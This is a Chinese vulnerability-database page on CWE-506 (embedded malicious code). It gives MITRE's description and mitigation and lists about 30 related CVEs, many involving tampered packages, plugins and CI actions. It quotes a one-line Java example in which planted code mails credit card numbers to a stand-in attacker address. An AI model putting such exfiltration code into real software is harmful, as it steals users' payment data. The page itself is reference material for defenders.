目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1359 元

100%
请我们喝杯咖啡

CWE-506 内嵌的恶意代码 类漏洞列表 100

CWE-506 内嵌的恶意代码 类弱点 100 条 CVE 漏洞汇总，含 AI 中文分析。

CWE-506指嵌入式恶意代码，属于软件内部植入的隐蔽后门或逻辑炸弹。攻击者通常利用开发者故意插入的代码，在特定条件触发时窃取数据或破坏系统，从而绕过正常安全机制。开发者应通过严格的代码审查、静态分析工具检测异常逻辑，并实施最小权限原则，确保代码来源可信且无未授权的后门植入，以从根本上杜绝此类内部威胁。

MITRE CWE 官方描述
CWE：CWE-506 嵌入式恶意代码（Embedded Malicious Code） 英文：该产品包含本质上看似恶意的代码。 恶意缺陷（Malicious flaws）拥有多种形象化的名称，包括特洛伊木马（Trojan horse）、陷阱门（trapdoor）、时间炸弹（timebomb）和逻辑炸弹（logic-bomb）。开发人员可能会插入恶意代码，意图在未来某个时刻颠覆产品或其宿主系统的安全性。它通常指执行有用服务，但以用户未预期的方式利用程序用户权限的程序。
常见影响 (1)
Confidentiality, Integrity, Availability Execute Unauthorized Code or Commands
缓解措施 (1)
Implementation, Operation Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
代码示例 (1)
In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.
boolean authorizeCard(String ccn) { // Authorize credit card. ... mailCardNumber(ccn, "evil_developer@evil_domain.com"); }
Bad · Java
CVE ID 标题 CVSS 风险等级 Published
CVE-2026-97230 Perl IO::Socket::SSL::SelfCertificate 1.00 含恶意代码 - - 2026-09-24
CVE-2026-95831 Perl Crypt::SelfCertificate 1.05 恶意软件漏洞 - - 2026-09-22
CVE-2026-74232 Zbtlink L3_V2_8 授权问题漏洞 — L3_V2_8 9.8 Critical 2026-08-27
CVE-2026-77651 droundy arrayref 处理逻辑错误漏洞 — arrayref 9.8 Critical 2026-08-21
CVE-2026-77650 droundy append-only-vec 处理逻辑错误漏洞 — append-only-vec 9.8 Critical 2026-08-21
CVE-2026-77649 droundy internment 处理逻辑错误漏洞 — internment 9.8 Critical 2026-08-21
CVE-2026-73532 Fluent Forms Pro 6.2.7 嵌入恶意代码漏洞 — Fluent Forms Pro 9.8 Critical 2026-08-13
CVE-2026-73533 Ninja Tables Pro 5.2.11 嵌入恶意代码漏洞 — Ninja Tables Pro 9.8 Critical 2026-08-13
CVE-2026-48161 Daishi Kato react18-use 处理逻辑错误漏洞 — react18-use 9.3 Critical 2026-08-10
CVE-2026-48160 dai-shi React Tracked 处理逻辑错误漏洞 — react-tracked 9.3 Critical 2026-08-10
CVE-2026-48159 Daishi Kato use-reducer-async 处理逻辑错误漏洞 — use-reducer-async 9.3 Critical 2026-08-10
CVE-2026-48158 Daishi Kato use-context-selector 处理逻辑错误漏洞 — use-context-selector 9.3 Critical 2026-08-10
CVE-2026-66747 Zbtlink cpe2801 firmware 处理逻辑错误漏洞 — CPE2801 Firmware 9.8 Critical 2026-08-05
CVE-2026-67595 webreinvent vaahcms 处理逻辑错误漏洞 — vaahcms 8.1 High 2026-07-29
CVE-2026-18072 WordPress advanced-responsive-video-embedder 处理逻辑错误漏洞 — Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … 9.8 Critical 2026-07-29
CVE-2026-46412 BeProduct @beproduct/nestjs-auth 处理逻辑错误漏洞 — beproduct-org-nestjs-auth 10.0 Critical 2026-07-20
CVE-2026-46421 SAP Cloud Application Programming Model @cap-js/db-service 处理逻辑错误漏洞 — @cap-js/sqlite - - 2026-07-15
CVE-2026-45758 Guardrails 安全漏洞 — guardrails 9.6 Critical 2026-06-05
CVE-2026-48027 Nx Console 安全漏洞 — nx-console 9.3 Critical 2026-05-27
CVE-2026-8398 Disc Soft DAEMON Tools Lite 安全漏洞 — DAEMON Tools Lite 9.8 Critical 2026-05-15
CVE-2026-44484 PyTorch Lightning 安全漏洞 — pytorch-lightning - - 2026-05-14
CVE-2026-45321 TanStack Query 安全漏洞 — arktype-adapter 9.6 Critical 2026-05-12
CVE-2026-6443 WordPress plugin Accordion and Accordion Slider 安全漏洞 — Accordion and Accordion Slider 9.8 Critical 2026-04-17
CVE-2026-34424 WordPress plugin Smart Slider 3 Pro 安全漏洞 — Smart Slider 3 Pro for WordPress 9.8 Critical 2026-04-09
CVE-2026-33634 Aqua Security多款产品 安全漏洞 — setup-trivy 7.4 - 2026-03-23
CVE-2026-31976 xygeni-action 安全漏洞 — xygeni-action 8.8AI High AI 2026-03-11
CVE-2026-28353 Trivy Action 安全漏洞 — trivy-vscode-extension 5.5 - 2026-03-05
CVE-2024-10938 WordPress plugin OVRI Payment 安全漏洞 — OVRI Payment 6.5 Medium 2026-02-27
CVE-2025-59374 ASUS Live Update 安全漏洞 — live update 8.1AI High AI 2025-12-17
CVE-2018-25117 Vesta Control Panel 安全漏洞 — Control Panel (CP) 8.8AI High AI 2025-10-15

CWE-506（内嵌的恶意代码） 是常见的弱点类别，本平台收录该类弱点关联的 100 条 CVE 漏洞。